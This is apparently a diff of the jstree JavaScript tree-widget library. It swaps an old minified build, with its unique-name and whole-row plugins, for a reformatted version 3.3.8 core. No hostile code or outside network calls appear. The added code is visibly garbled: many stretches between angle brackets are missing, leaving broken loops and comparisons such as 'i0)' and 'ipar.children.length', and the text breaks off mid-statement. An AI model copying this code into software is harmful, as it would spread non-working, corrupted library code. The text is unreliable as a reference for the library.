o=-1===e.inArray(l,h),o||(this._data.core.last_error={error:"check",plugin:"unique",id:"unique_04",reason:"Child with name "+l+" already exists. Preventing: "+t,data:JSON.stringify({chk:t,pos:a,obj:r&&r.id?r.id:!1,par:s&&s.id?s.id:!1})}),o -case"copy_node":return o=-1===e.inArray(l,h),o||(this._data.core.last_error={error:"check",plugin:"unique",id:"unique_02",reason:"Child with name "+l+" already exists. Preventing: "+t,data:JSON.stringify({chk:t,pos:a,obj:r&&r.id?r.id:!1,par:s&&s.id?s.id:!1})}),o -case"move_node":return o=r.parent===s.id&&(!n||!n.is_multi)||-1===e.inArray(l,h),o||(this._data.core.last_error={error:"check",plugin:"unique",id:"unique_03",reason:"Child with name "+l+" already exists. Preventing: "+t,data:JSON.stringify({chk:t,pos:a,obj:r&&r.id?r.id:!1,par:s&&s.id?s.id:!1})}),o}return!0},this.create_node=function(r,s,a,n,o){if(!s||s.text===t){if(null===r&&(r=e.jstree.root),r=this.get_node(r),!r)return i.create_node.call(this,r,s,a,n,o) -if(a=a===t?"last":a,!a.toString().match(/^(before|after)$/)&&!o&&!this.is_loaded(r))return i.create_node.call(this,r,s,a,n,o) -s||(s={}) -var d,c,l,h,_,u,g=this._model.data,f=this.settings.unique.case_sensitive,p=this.settings.unique.trim_whitespace,m=this.settings.unique.duplicate -for(c=d=this.get_string("New node"),l=[],h=0,_=r.children.length;_>h;h++)u=g[r.children[h]].text,f||(u=u.toLowerCase()),p&&(u=u.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")),l.push(u) -for(h=1,u=c,f||(u=u.toLowerCase()),p&&(u=u.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,""));-1!==e.inArray(u,l);)c=m.call(this,d,++h).toString(),u=c,f||(u=u.toLowerCase()),p&&(u=u.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")) -s.text=c}return i.create_node.call(this,r,s,a,n,o)}} -var f=d.createElement("DIV") -if(f.setAttribute("unselectable","on"),f.setAttribute("role","presentation"),f.className="jstree-wholerow",f.innerHTML=" ",e.jstree.plugins.wholerow=function(t,r){this.bind=function(){r.bind.call(this),this.element.on("ready.jstree set_state.jstree",e.proxy(function(){this.hide_dots()},this)).on("init.jstree loading.jstree ready.jstree",e.proxy(function(){this.get_container_ul().addClass("jstree-wholerow-ul")},this)).on("deselect_all.jstree",e.proxy(function(e,t){this.element.find(".jstree-wholerow-clicked").removeClass("jstree-wholerow-clicked")},this)).on("changed.jstree",e.proxy(function(e,t){this.element.find(".jstree-wholerow-clicked").removeClass("jstree-wholerow-clicked") -var r,i,s=!1 -for(r=0,i=t.selected.length;i>r;r++)s=this.get_node(t.selected[r],!0),s&&s.length&&s.children(".jstree-wholerow").addClass("jstree-wholerow-clicked")},this)).on("open_node.jstree",e.proxy(function(e,t){this.get_node(t.node,!0).find(".jstree-clicked").parent().children(".jstree-wholerow").addClass("jstree-wholerow-clicked")},this)).on("hover_node.jstree dehover_node.jstree",e.proxy(function(e,t){"hover_node"===e.type&&this.is_disabled(t.node)||this.get_node(t.node,!0).children(".jstree-wholerow")["hover_node"===e.type?"addClass":"removeClass"]("jstree-wholerow-hovered")},this)).on("contextmenu.jstree",".jstree-wholerow",e.proxy(function(t){if(this._data.contextmenu){t.preventDefault() -var r=e.Event("contextmenu",{metaKey:t.metaKey,ctrlKey:t.ctrlKey,altKey:t.altKey,shiftKey:t.shiftKey,pageX:t.pageX,pageY:t.pageY}) -e(t.currentTarget).closest(".jstree-node").children(".jstree-anchor").first().trigger(r)}},this)).on("click.jstree",".jstree-wholerow",function(t){t.stopImmediatePropagation() -var r=e.Event("click",{metaKey:t.metaKey,ctrlKey:t.ctrlKey,altKey:t.altKey,shiftKey:t.shiftKey}) -e(t.currentTarget).closest(".jstree-node").children(".jstree-anchor").first().trigger(r).focus()}).on("dblclick.jstree",".jstree-wholerow",function(t){t.stopImmediatePropagation() -var r=e.Event("dblclick",{metaKey:t.metaKey,ctrlKey:t.ctrlKey,altKey:t.altKey,shiftKey:t.shiftKey}) -e(t.currentTarget).closest(".jstree-node").children(".jstree-anchor").first().trigger(r).focus()}).on("click.jstree",".jstree-leaf > .jstree-ocl",e.proxy(function(t){t.stopImmediatePropagation() -var r=e.Event("click",{metaKey:t.metaKey,ctrlKey:t.ctrlKey,altKey:t.altKey,shiftKey:t.shiftKey}) -e(t.currentTarget).closest(".jstree-node").children(".jstree-anchor").first().trigger(r).focus()},this)).on("mouseover.jstree",".jstree-wholerow, .jstree-icon",e.proxy(function(e){return e.stopImmediatePropagation(),this.is_disabled(e.currentTarget)||this.hover_node(e.currentTarget),!1},this)).on("mouseleave.jstree",".jstree-node",e.proxy(function(e){this.dehover_node(e.currentTarget)},this))},this.teardown=function(){this.settings.wholerow&&this.element.find(".jstree-wholerow").remove(),r.teardown.call(this)},this.redraw_node=function(t,i,s,a){if(t=r.redraw_node.apply(this,arguments)){var n=f.cloneNode(!0);-1!==e.inArray(t.id,this._data.core.selected)&&(n.className+=" jstree-wholerow-clicked"),this._data.core.focused&&this._data.core.focused===t.id&&(n.className+=" jstree-wholerow-hovered"),t.insertBefore(n,t.childNodes[0])}return t}},window.customElements&&Object&&Object.create){var p=Object.create(HTMLElement.prototype) -p.createdCallback=function(){var t,r={core:{},plugins:[]} -for(t in e.jstree.plugins)e.jstree.plugins.hasOwnProperty(t)&&this.attributes[t]&&(r.plugins.push(t),this.getAttribute(t)&&JSON.parse(this.getAttribute(t))&&(r[t]=JSON.parse(this.getAttribute(t)))) -for(t in e.jstree.defaults.core)e.jstree.defaults.core.hasOwnProperty(t)&&this.attributes[t]&&(r.core[t]=JSON.parse(this.getAttribute(t))||this.getAttribute(t)) -e(this).jstree(r)} -try{window.customElements.define("vakata-jstree",function(){},{prototype:p})}catch(m){}}}}) \ No newline at end of file +(function(factory){"use strict";if(typeof define==='function'&&define.amd){define(['jquery'],factory)}else if(typeof module!=='undefined'&&module.exports){module.exports=factory(require('jquery'))}else{factory(jQuery)}}(function($,undefined){"use strict";if($.jstree){return}var instance_counter=0,ccp_node=false,ccp_mode=false,ccp_inst=false,themes_loaded=[],src=$('script:last').attr('src'),document=window.document;var setImmediate=window.setImmediate;var Promise=window.Promise;if(!setImmediate&&Promise){setImmediate=function(cb,arg){Promise.resolve(arg).then(cb)}}$.jstree={version:'3.3.8',defaults:{plugins:[]},plugins:{},path:src&&src.indexOf('/')!==-1?src.replace(/\/[^\/]+$/,''):'',idregex:/[\\:&!^|()\[\]<>@*'+~#";.,=\- \/${}%?`]/g,root:'#'};$.jstree.create=function(el,options){var tmp=new $.jstree.core(instance_counter+=1),opt=options;options=$.extend(true,{},$.jstree.defaults,options);if(opt&&opt.plugins){options.plugins=opt.plugins}$.each(options.plugins,function(i,k){if(i!=='core'){tmp=tmp.plugin(k,options[k])}});$(el).data('jstree',tmp);tmp.init(el,options);return tmp};$.jstree.destroy=function(){$('.jstree:jstree').jstree('destroy');$(document).off('.jstree')};$.jstree.core=function(id){this._id=id;this._cnt=0;this._wrk=null;this._data={core:{themes:{name:false,dots:false,icons:false,ellipsis:false},selected:[],last_error:{},working:false,worker_queue:[],focused:null}}};$.jstree.reference=function(needle){var tmp=null,obj=null;if(needle&&needle.id&&(!needle.tagName||!needle.nodeType)){needle=needle.id}if(!obj||!obj.length){try{obj=$(needle)}catch(ignore){}}if(!obj||!obj.length){try{obj=$('#'+needle.replace($.jstree.idregex,'\\$&'))}catch(ignore){}}if(obj&&obj.length&&(obj=obj.closest('.jstree')).length&&(obj=obj.data('jstree'))){tmp=obj}else{$('.jstree').each(function(){var inst=$(this).data('jstree');if(inst&&inst._model.data[needle]){tmp=inst;return false}})}return tmp};$.fn.jstree=function(arg){var is_method=(typeof arg==='string'),args=Array.prototype.slice.call(arguments,1),result=null;if(arg===true&&!this.length){return false}this.each(function(){var instance=$.jstree.reference(this),method=is_method&&instance?instance[arg]:null;result=is_method&&method?method.apply(instance,args):null;if(!instance&&!is_method&&(arg===undefined||$.isPlainObject(arg))){$.jstree.create(this,arg)}if((instance&&!is_method)||arg===true){result=instance||false}if(result!==null&&result!==undefined){return false}});return result!==null&&result!==undefined?result:this};$.expr.pseudos.jstree=$.expr.createPseudo(function(search){return function(a){return $(a).hasClass('jstree')&&$(a).data('jstree')!==undefined}});$.jstree.defaults.core={data:false,strings:false,check_callback:false,error:$.noop,animation:200,multiple:true,themes:{name:false,url:false,dir:false,dots:true,icons:true,ellipsis:false,stripes:false,variant:false,responsive:false},expand_selected_onload:true,worker:true,force_text:false,dblclick_toggle:true,loaded_state:false,restore_focus:true,keyboard:{'ctrl-space':function(e){e.type="click";$(e.currentTarget).trigger(e)},'enter':function(e){e.type="click";$(e.currentTarget).trigger(e)},'left':function(e){e.preventDefault();if(this.is_open(e.currentTarget)){this.close_node(e.currentTarget)}else{var o=this.get_parent(e.currentTarget);if(o&&o.id!==$.jstree.root){this.get_node(o,true).children('.jstree-anchor').focus()}}},'up':function(e){e.preventDefault();var o=this.get_prev_dom(e.currentTarget);if(o&&o.length){o.children('.jstree-anchor').focus()}},'right':function(e){e.preventDefault();if(this.is_closed(e.currentTarget)){this.open_node(e.currentTarget,function(o){this.get_node(o,true).children('.jstree-anchor').focus()})}else if(this.is_open(e.currentTarget)){var o=this.get_node(e.currentTarget,true).children('.jstree-children')[0];if(o){$(this._firstChild(o)).children('.jstree-anchor').focus()}}},'down':function(e){e.preventDefault();var o=this.get_next_dom(e.currentTarget);if(o&&o.length){o.children('.jstree-anchor').focus()}},'*':function(e){this.open_all()},'home':function(e){e.preventDefault();var o=this._firstChild(this.get_container_ul()[0]);if(o){$(o).children('.jstree-anchor').filter(':visible').focus()}},'end':function(e){e.preventDefault();this.element.find('.jstree-anchor').filter(':visible').last().focus()},'f2':function(e){e.preventDefault();this.edit(e.currentTarget)}}};$.jstree.core.prototype={plugin:function(deco,opts){var Child=$.jstree.plugins[deco];if(Child){this._data[deco]={};Child.prototype=this;return new Child(opts,this)}return this},init:function(el,options){this._model={data:{},changed:[],force_full_redraw:false,redraw_timeout:false,default_state:{loaded:true,opened:false,selected:false,disabled:false}};this._model.data[$.jstree.root]={id:$.jstree.root,parent:null,parents:[],children:[],children_d:[],state:{loaded:false}};this.element=$(el).addClass('jstree jstree-'+this._id);this.settings=options;this._data.core.ready=false;this._data.core.loaded=false;this._data.core.rtl=(this.element.css("direction")==="rtl");this.element[this._data.core.rtl?'addClass':'removeClass']("jstree-rtl");this.element.attr('role','tree');if(this.settings.core.multiple){this.element.attr('aria-multiselectable',true)}if(!this.element.attr('tabindex')){this.element.attr('tabindex','0')}this.bind();this.trigger("init");this._data.core.original_container_html=this.element.find(" > ul > li").clone(true);this._data.core.original_container_html.find("li").addBack().contents().filter(function(){return this.nodeType===3&&(!this.nodeValue||/^\s+$/.test(this.nodeValue))}).remove();this.element.html("");this.element.attr('aria-activedescendant','j'+this._id+'_loading');this._data.core.li_height=this.get_container_ul().children("li").first().outerHeight()||24;this._data.core.node=this._create_prototype_node();this.trigger("loading");this.load_node($.jstree.root)},destroy:function(keep_html){this.trigger("destroy");if(this._wrk){try{window.URL.revokeObjectURL(this._wrk);this._wrk=null}catch(ignore){}}if(!keep_html){this.element.empty()}this.teardown()},_create_prototype_node:function(){var _node=document.createElement('LI'),_temp1,_temp2;_node.setAttribute('role','treeitem');_temp1=document.createElement('I');_temp1.className='jstree-icon jstree-ocl';_temp1.setAttribute('role','presentation');_node.appendChild(_temp1);_temp1=document.createElement('A');_temp1.className='jstree-anchor';_temp1.setAttribute('href','#');_temp1.setAttribute('tabindex','-1');_temp2=document.createElement('I');_temp2.className='jstree-icon jstree-themeicon';_temp2.setAttribute('role','presentation');_temp1.appendChild(_temp2);_node.appendChild(_temp1);_temp1=_temp2=null;return _node},_kbevent_to_func:function(e){var keys={8:"Backspace",9:"Tab",13:"Enter",19:"Pause",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"Print",45:"Insert",46:"Delete",96:"Numpad0",97:"Numpad1",98:"Numpad2",99:"Numpad3",100:"Numpad4",101:"Numpad5",102:"Numpad6",103:"Numpad7",104:"Numpad8",105:"Numpad9",'-13':"NumpadEnter",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"Numlock",145:"Scrolllock",16:'Shift',17:'Ctrl',18:'Alt',48:'0',49:'1',50:'2',51:'3',52:'4',53:'5',54:'6',55:'7',56:'8',57:'9',59:';',61:'=',65:'a',66:'b',67:'c',68:'d',69:'e',70:'f',71:'g',72:'h',73:'i',74:'j',75:'k',76:'l',77:'m',78:'n',79:'o',80:'p',81:'q',82:'r',83:'s',84:'t',85:'u',86:'v',87:'w',88:'x',89:'y',90:'z',107:'+',109:'-',110:'.',186:';',187:'=',188:',',189:'-',190:'.',191:'/',192:'`',219:'[',220:'\\',221:']',222:"'",111:'/',106:'*',173:'-'};var parts=[];if(e.ctrlKey){parts.push('ctrl')}if(e.altKey){parts.push('alt')}if(e.shiftKey){parts.push('shift')}parts.push(keys[e.which]||e.which);parts=parts.sort().join('-').toLowerCase();var kb=this.settings.core.keyboard,i,tmp;for(i in kb){if(kb.hasOwnProperty(i)){tmp=i;if(tmp!=='-'&&tmp!=='+'){tmp=tmp.replace('--','-MINUS').replace('+-','-MINUS').replace('++','-PLUS').replace('-+','-PLUS');tmp=tmp.split(/-|\+/).sort().join('-').replace('MINUS','-').replace('PLUS','+').toLowerCase()}if(tmp===parts){return kb[i]}}}return null},teardown:function(){this.unbind();this.element.removeClass('jstree').removeData('jstree').find("[class^='jstree']").addBack().attr("class",function(){return this.className.replace(/jstree[^ ]*|$/ig,'')});this.element=null},bind:function(){var word='',tout=null,was_click=0;this.element.on("dblclick.jstree",function(e){if(e.target.tagName&&e.target.tagName.toLowerCase()==="input"){return true}if(document.selection&&document.selection.empty){document.selection.empty()}else{if(window.getSelection){var sel=window.getSelection();try{sel.removeAllRanges();sel.collapse()}catch(ignore){}}}}).on("mousedown.jstree",$.proxy(function(e){if(e.target===this.element[0]){e.preventDefault();was_click= +(new Date());}else{e.preventDefault();e.stopPropagation();e.stopImmediatePropagation()}},this)).on("mousedown.jstree",".jstree-ocl",function(e){e.preventDefault();}).on("click.jstree",".jstree-ocl",$.proxy(function(e){this.toggle_node(e.target)},this)).on("dblclick.jstree",".jstree-anchor",$.proxy(function(e){if(e.target.tagName&&e.target.tagName.toLowerCase()==="input"){return true}if(this.settings.core.dblclick_toggle){this.toggle_node(e.target)}},this)).on("click.jstree",".jstree-anchor",$.proxy(function(e){e.preventDefault();if(e.currentTarget!==document.activeElement){$(e.currentTarget).focus()}this.activate_node(e.currentTarget,e)},this)).on('keydown.jstree','.jstree-anchor',$.proxy(function(e){if(e.target.tagName&&e.target.tagName.toLowerCase()==="input"){return true}if(this._data.core.rtl){if(e.which===37){e.which=39}else if(e.which===39){e.which=37}}var f=this._kbevent_to_func(e);if(f){var r=f.call(this,e);if(r===false||r===true){return r}}},this)).on("load_node.jstree",$.proxy(function(e,data){if(data.status){if(data.node.id===$.jstree.root&&!this._data.core.loaded){this._data.core.loaded=true;if(this._firstChild(this.get_container_ul()[0])){this.element.attr('aria-activedescendant',this._firstChild(this.get_container_ul()[0]).id)}this.trigger("loaded")}if(!this._data.core.ready){setTimeout($.proxy(function(){if(this.element&&!this.get_container_ul().find('.jstree-loading').length){this._data.core.ready=true;if(this._data.core.selected.length){if(this.settings.core.expand_selected_onload){var tmp=[],i,j;for(i=0,j=this._data.core.selected.length;i1){col.slice(ind).each($.proxy(function(i,v){if($(v).text().toLowerCase().indexOf(word)===0){$(v).focus();end=true;return false}},this));if(end){return}col.slice(0,ind).each($.proxy(function(i,v){if($(v).text().toLowerCase().indexOf(word)===0){$(v).focus();end=true;return false}},this));if(end){return}}if(new RegExp('^'+chr.replace(/[-\/\\^$*+?.()|[\]{}]/g,'\\$&')+'+$').test(word)){col.slice(ind+1).each($.proxy(function(i,v){if($(v).text().toLowerCase().charAt(0)===chr){$(v).focus();end=true;return false}},this));if(end){return}col.slice(0,ind+1).each($.proxy(function(i,v){if($(v).text().toLowerCase().charAt(0)===chr){$(v).focus();end=true;return false}},this));if(end){return}}},this)).on("init.jstree",$.proxy(function(){var s=this.settings.core.themes;this._data.core.themes.dots=s.dots;this._data.core.themes.stripes=s.stripes;this._data.core.themes.icons=s.icons;this._data.core.themes.ellipsis=s.ellipsis;this.set_theme(s.name||"default",s.url);this.set_theme_variant(s.variant)},this)).on("loading.jstree",$.proxy(function(){this[this._data.core.themes.dots?"show_dots":"hide_dots"]();this[this._data.core.themes.icons?"show_icons":"hide_icons"]();this[this._data.core.themes.stripes?"show_stripes":"hide_stripes"]();this[this._data.core.themes.ellipsis?"show_ellipsis":"hide_ellipsis"]()},this)).on('blur.jstree','.jstree-anchor',$.proxy(function(e){this._data.core.focused=null;$(e.currentTarget).filter('.jstree-hovered').trigger('mouseleave');this.element.attr('tabindex','0')},this)).on('focus.jstree','.jstree-anchor',$.proxy(function(e){var tmp=this.get_node(e.currentTarget);if(tmp&&tmp.id){this._data.core.focused=tmp.id}this.element.find('.jstree-hovered').not(e.currentTarget).trigger('mouseleave');$(e.currentTarget).trigger('mouseenter');this.element.attr('tabindex','-1')},this)).on('focus.jstree',$.proxy(function(){if(+(new Date())-was_click>500&&!this._data.core.focused&&this.settings.core.restore_focus){was_click=0;var act=this.get_node(this.element.attr('aria-activedescendant'),true);if(act){act.find('> .jstree-anchor').focus()}}},this)).on('mouseenter.jstree','.jstree-anchor',$.proxy(function(e){this.hover_node(e.currentTarget)},this)).on('mouseleave.jstree','.jstree-anchor',$.proxy(function(e){this.dehover_node(e.currentTarget)},this))},unbind:function(){this.element.off('.jstree');$(document).off('.jstree-'+this._id)},trigger:function(ev,data){if(!data){data={}}data.instance=this;this.element.triggerHandler(ev.replace('.jstree','')+'.jstree',data)},get_container:function(){return this.element},get_container_ul:function(){return this.element.children(".jstree-children").first()},get_string:function(key){var a=this.settings.core.strings;if($.isFunction(a)){return a.call(this,key)}if(a&&a[key]){return a[key]}return key},_firstChild:function(dom){dom=dom?dom.firstChild:null;while(dom!==null&&dom.nodeType!==1){dom=dom.nextSibling}return dom},_nextSibling:function(dom){dom=dom?dom.nextSibling:null;while(dom!==null&&dom.nodeType!==1){dom=dom.nextSibling}return dom},_previousSibling:function(dom){dom=dom?dom.previousSibling:null;while(dom!==null&&dom.nodeType!==1){dom=dom.previousSibling}return dom},get_node:function(obj,as_dom){if(obj&&obj.id){obj=obj.id}if(obj instanceof $&&obj.length&&obj[0].id){obj=obj[0].id}var dom;try{if(this._model.data[obj]){obj=this._model.data[obj]}else if(typeof obj==="string"&&this._model.data[obj.replace(/^#/,'')]){obj=this._model.data[obj.replace(/^#/,'')]}else if(typeof obj==="string"&&(dom=$('#'+obj.replace($.jstree.idregex,'\\$&'),this.element)).length&&this._model.data[dom.closest('.jstree-node').attr('id')]){obj=this._model.data[dom.closest('.jstree-node').attr('id')]}else if((dom=this.element.find(obj)).length&&this._model.data[dom.closest('.jstree-node').attr('id')]){obj=this._model.data[dom.closest('.jstree-node').attr('id')]}else if((dom=this.element.find(obj)).length&&dom.hasClass('jstree')){obj=this._model.data[$.jstree.root]}else{return false}if(as_dom){obj=obj.id===$.jstree.root?this.element:$('#'+obj.id.replace($.jstree.idregex,'\\$&'),this.element)}return obj}catch(ex){return false}},get_path:function(obj,glue,ids){obj=obj.parents?obj:this.get_node(obj);if(!obj||obj.id===$.jstree.root||!obj.parents){return false}var i,j,p=[];p.push(ids?obj.id:obj.text);for(i=0,j=obj.parents.length;i0)},is_loaded:function(obj){obj=this.get_node(obj);return obj&&obj.state.loaded},is_loading:function(obj){obj=this.get_node(obj);return obj&&obj.state&&obj.state.loading},is_open:function(obj){obj=this.get_node(obj);return obj&&obj.state.opened},is_closed:function(obj){obj=this.get_node(obj);return obj&&this.is_parent(obj)&&!obj.state.opened},is_leaf:function(obj){return!this.is_parent(obj)},load_node:function(obj,callback){var k,l,i,j,c;if($.isArray(obj)){this._load_nodes(obj.slice(),callback);return true}obj=this.get_node(obj);if(!obj){if(callback){callback.call(this,obj,false)}return false}if(obj.state.loaded){obj.state.loaded=false;for(i=0,j=obj.parents.length;i').html(tmp);data.text=this.settings.core.force_text?tmp.text():tmp.html();tmp=d.data();data.data=tmp?$.extend(true,{},tmp):null;data.state.opened=d.hasClass('jstree-open');data.state.selected=d.children('a').hasClass('jstree-clicked');data.state.disabled=d.children('a').hasClass('jstree-disabled');if(data.data&&data.data.jstree){for(i in data.data.jstree){if(data.data.jstree.hasOwnProperty(i)){data.state[i]=data.data.jstree[i]}}}tmp=d.children("a").children(".jstree-themeicon");if(tmp.length){data.icon=tmp.hasClass('jstree-themeicon-hidden')?false:tmp.attr('rel')}if(data.state.icon!==undefined){data.icon=data.state.icon}if(data.icon===undefined||data.icon===null||data.icon===""){data.icon=true}tmp=d.children("ul").children("li");do{tid='j'+this._id+'_'+(++this._cnt)}while(m[tid]);data.id=data.li_attr.id?data.li_attr.id.toString():tid;if(tmp.length){tmp.each($.proxy(function(i,v){c=this._parse_model_from_html($(v),data.id,ps);e=this._model.data[c];data.children.push(c);if(e.children_d.length){data.children_d=data.children_d.concat(e.children_d)}},this));data.children_d=data.children_d.concat(data.children)}else{if(d.hasClass('jstree-closed')){data.state.loaded=false}}if(data.li_attr['class']){data.li_attr['class']=data.li_attr['class'].replace('jstree-closed','').replace('jstree-open','')}if(data.a_attr['class']){data.a_attr['class']=data.a_attr['class'].replace('jstree-clicked','').replace('jstree-disabled','')}m[data.id]=data;if(data.state.selected){this._data.core.selected.push(data.id)}return data.id},_parse_model_from_flat_json:function(d,p,ps){if(!ps){ps=[]}else{ps=ps.concat()}if(p){ps.unshift(p)}var tid=d.id.toString(),m=this._model.data,df=this._model.default_state,i,j,c,e,tmp={id:tid,text:d.text||'',icon:d.icon!==undefined?d.icon:true,parent:p,parents:ps,children:d.children||[],children_d:d.children_d||[],data:d.data,state:{},li_attr:{id:false},a_attr:{href:'#'},original:false};for(i in df){if(df.hasOwnProperty(i)){tmp.state[i]=df[i]}}if(d&&d.data&&d.data.jstree&&d.data.jstree.icon){tmp.icon=d.data.jstree.icon}if(tmp.icon===undefined||tmp.icon===null||tmp.icon===""){tmp.icon=true}if(d&&d.data){tmp.data=d.data;if(d.data.jstree){for(i in d.data.jstree){if(d.data.jstree.hasOwnProperty(i)){tmp.state[i]=d.data.jstree[i]}}}}if(d&&typeof d.state==='object'){for(i in d.state){if(d.state.hasOwnProperty(i)){tmp.state[i]=d.state[i]}}}if(d&&typeof d.li_attr==='object'){for(i in d.li_attr){if(d.li_attr.hasOwnProperty(i)){tmp.li_attr[i]=d.li_attr[i]}}}if(!tmp.li_attr.id){tmp.li_attr.id=tid}if(d&&typeof d.a_attr==='object'){for(i in d.a_attr){if(d.a_attr.hasOwnProperty(i)){tmp.a_attr[i]=d.a_attr[i]}}}if(d&&d.children&&d.children===true){tmp.state.loaded=false;tmp.children=[];tmp.children_d=[]}m[tmp.id]=tmp;for(i=0,j=tmp.children.length;i
    • "+this.get_string("Loading ...")+"
    • ");this.element.attr('aria-activedescendant','j'+this._id+'_loading')}this.load_node($.jstree.root,function(o,s){if(s){this.get_container_ul()[0].className=c;if(this._firstChild(this.get_container_ul()[0])){this.element.attr('aria-activedescendant',this._firstChild(this.get_container_ul()[0]).id)}this.set_state($.extend(true,{},this._data.core.state),function(){this.trigger('refresh')})}this._data.core.state=null})},refresh_node:function(obj){obj=this.get_node(obj);if(!obj||obj.id===$.jstree.root){return false}var opened=[],to_load=[],s=this._data.core.selected.concat([]);to_load.push(obj.id);if(obj.state.opened===true){opened.push(obj.id)}this.get_node(obj,true).find('.jstree-open').each(function(){to_load.push(this.id);opened.push(this.id)});this._load_nodes(to_load,$.proxy(function(nodes){this.open_node(opened,false,0);this.select_node(s);this.trigger('refresh_node',{'node':obj,'nodes':nodes})},this),false,true)},set_id:function(obj,id){obj=this.get_node(obj);if(!obj||obj.id===$.jstree.root){return false}var i,j,m=this._model.data,old=obj.id;id=id.toString();m[obj.parent].children[$.inArray(obj.id,m[obj.parent].children)]=id;for(i=0,j=obj.parents.length;ipar.children.length){pos=par.children.length}if(!node.id){node.id=true}if(!this.check("create_node",node,par,pos)){this.settings.core.error.call(this,this._data.core.last_error);return false}if(node.id===true){delete node.id}node=this._parse_model_from_json(node,par.id,par.parents.concat());if(!node){return false}tmp=this.get_node(node);dpc=[];dpc.push(node);dpc=dpc.concat(tmp.children_d);this.trigger('model',{"nodes":dpc,"parent":par.id});par.children_d=par.children_d.concat(dpc);for(i=0,j=par.parents.length;i=pos?i+1:i]=par.children[i]}tmp[pos]=node.id;par.children=tmp;this.redraw_node(par,true);this.trigger('create_node',{"node":this.get_node(node),"parent":par.id,"position":pos});if(callback){callback.call(this,this.get_node(node))}return node.id},rename_node:function(obj,val){var t1,t2,old;if($.isArray(obj)){obj=obj.slice();for(t1=0,t2=obj.length;t1new_par.children.length){pos=new_par.children.length}if(!this.check("move_node",obj,new_par,pos,{'core':true,'origin':origin,'is_multi':(old_ins&&old_ins._id&&old_ins._id!==this._id),'is_foreign':(!old_ins||!old_ins._id)})){this.settings.core.error.call(this,this._data.core.last_error);return false}if(obj.parent===new_par.id){dpc=new_par.children.concat();tmp=$.inArray(obj.id,dpc);if(tmp!==-1){dpc=$.vakata.array_remove(dpc,tmp);if(pos>tmp){pos-=1}}tmp=[];for(i=0,j=dpc.length;i=pos?i+1:i]=dpc[i]}tmp[pos]=obj.id;new_par.children=tmp;this._node_changed(new_par.id);this.redraw(new_par.id===$.jstree.root)}else{tmp=obj.children_d.concat();tmp.push(obj.id);for(i=0,j=obj.parents.length;i=pos?i+1:i]=new_par.children[i]}dpc[pos]=obj.id;new_par.children=dpc;new_par.children_d.push(obj.id);new_par.children_d=new_par.children_d.concat(obj.children_d);obj.parent=new_par.id;tmp=new_par.parents.concat();tmp.unshift(new_par.id);p=obj.parents.length;obj.parents=tmp;tmp=tmp.concat();for(i=0,j=obj.children_d.length;inew_par.children.length){pos=new_par.children.length}if(!this.check("copy_node",obj,new_par,pos,{'core':true,'origin':origin,'is_multi':(old_ins&&old_ins._id&&old_ins._id!==this._id),'is_foreign':(!old_ins||!old_ins._id)})){this.settings.core.error.call(this,this._data.core.last_error);return false}node=old_ins?old_ins.get_json(obj,{no_id:true,no_data:true,no_state:true}):obj;if(!node){return false}if(node.id===true){delete node.id}node=this._parse_model_from_json(node,new_par.id,new_par.parents.concat());if(!node){return false}tmp=this.get_node(node);if(obj&&obj.state&&obj.state.loaded===false){tmp.state.loaded=false}dpc=[];dpc.push(node);dpc=dpc.concat(tmp.children_d);this.trigger('model',{"nodes":dpc,"parent":new_par.id});for(i=0,j=new_par.parents.length;i=pos?i+1:i]=new_par.children[i]}dpc[pos]=tmp.id;new_par.children=dpc;new_par.children_d.push(tmp.id);new_par.children_d=new_par.children_d.concat(tmp.children_d);if(new_par.id===$.jstree.root){this._model.force_full_redraw=true}if(!this._model.force_full_redraw){this._node_changed(new_par.id)}if(!skip_redraw){this.redraw(new_par.id===$.jstree.root)}if(callback){callback.call(this,tmp,new_par,pos)}this.trigger('copy_node',{"node":tmp,"original":obj,"parent":new_par.id,"position":pos,"old_parent":old_par,"old_position":old_ins&&old_ins._id&&old_par&&old_ins._model.data[old_par]&&old_ins._model.data[old_par].children?$.inArray(obj.id,old_ins._model.data[old_par].children):-1,'is_multi':(old_ins&&old_ins._id&&old_ins._id!==this._id),'is_foreign':(!old_ins||!old_ins._id),'old_instance':old_ins,'new_instance':this});return tmp.id},cut:function(obj){if(!obj){obj=this._data.core.selected.concat()}if(!$.isArray(obj)){obj=[obj]}if(!obj.length){return false}var tmp=[],o,t1,t2;for(t1=0,t2=obj.length;t1');t=default_text;h1=$("
      ",{css:{"position":"absolute","top":"-200px","left":(rtl?"0px":"-1000px"),"visibility":"hidden"}}).appendTo(document.body);h2=$("",{"value":t,"class":"jstree-rename-input","css":{"padding":"0","border":"1px solid silver","box-sizing":"border-box","display":"inline-block","height":(this._data.core.li_height)+"px","lineHeight":(this._data.core.li_height)+"px","width":"150px"},"blur":$.proxy(function(e){e.stopImmediatePropagation();e.preventDefault();var i=s.children(".jstree-rename-input"),v=i.val(),f=this.settings.core.force_text,nv;var rg1=/^[^\\/:\*\#~!?" <>\|]+$/;var rg2=/^\./;var rg3=/^(nul|prn|con|lpt[0-9]|com[0-9])(\.|$)/i;if(v.length>0xFF||rg1.test(v)===false||rg2.test(v)===true||rg3.test(v)===true){return false}if(v===""){v=t}h1.remove();s.replaceWith(a);s.remove();t=f?t:$('
      ').append($.parseHTML(t)).html();obj=this.get_node(obj);this.set_text(obj,t);nv=!!this.rename_node(obj,f?$('
      ').text(v).text():$('
